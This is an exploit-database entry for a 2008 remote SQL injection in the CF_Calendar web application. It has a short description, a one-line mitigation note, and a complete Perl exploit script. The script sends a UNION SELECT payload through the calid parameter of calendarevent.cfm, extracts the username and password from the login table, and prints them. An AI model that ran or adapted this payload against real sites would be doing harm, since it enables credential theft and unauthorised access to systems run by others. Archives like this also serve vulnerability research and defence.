CF_Calendar Remote SQL Injection Exploit

vendor:

CF_Calendar

by:

AlpHaNiX

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: CF_Calendar

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

CF_Calendar Remote SQL Injection Exploit

This exploit is used to gain access to the username and password of the CF_Calendar application. It uses a HTTP GET request to send a malicious payload to the application which then returns the username and password of the application. The payload is sent to the application in the form of a URL which contains the malicious code.

Mitigation:

Input validation should be used to prevent malicious code from being sent to the application.

Source

Exploit-DB raw data:

#!/usr/bin/perl


use HTTP::Request;
use LWP::UserAgent;



print "\n ********************************************\n";
print " * CF_Calendar Remote SQL Injection Exploit *\n";
print " *       By AlpHaNiX                        *\n";
print " ********************************************\n";
print " ********************************************\n";
print " * usage : perl exploit.pl target           *\n";
print " *  contact : AlpHa[AT]HACKER[DOT]BZ        *\n";
print " ********************************************\n";



$alpha1 = "calendarevent.cfm?calid=";
$alpha2 = "0+union+select+1,concat(0x20616c7068616e69787761736865726520,username,0x20616e642070617373776f7264206973203a20,password,0x20616c7068616e69787761736865726520),3,4,null,6,7,8,9+from+login";



if ($ARGV[0] =~ /http:\/\// ) { $target = $ARGV[0]."/"; } else { $target = "http://".$ARGV[0]."/"; }
print " Working on it\n\n";

my $alpha3 = $target.$alpha1.$alpha2;
my $request   = HTTP::Request->new(GET=>$alpha3);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
        my $res   = $response->content;
        if ($res =~ m/ alphanixwashere (.*)and password is : (.*) alphanixwashere /g) {
                my ($username,$passwd) = ($1,$2);
                print "Username : $username \n\n  password : $passwd  \n\n"

        }
        else { print " operation failed \n\n"; }
}
else { print "  Error, ".$response->status_line."\n\n"; }

# milw0rm.com [2008-12-10]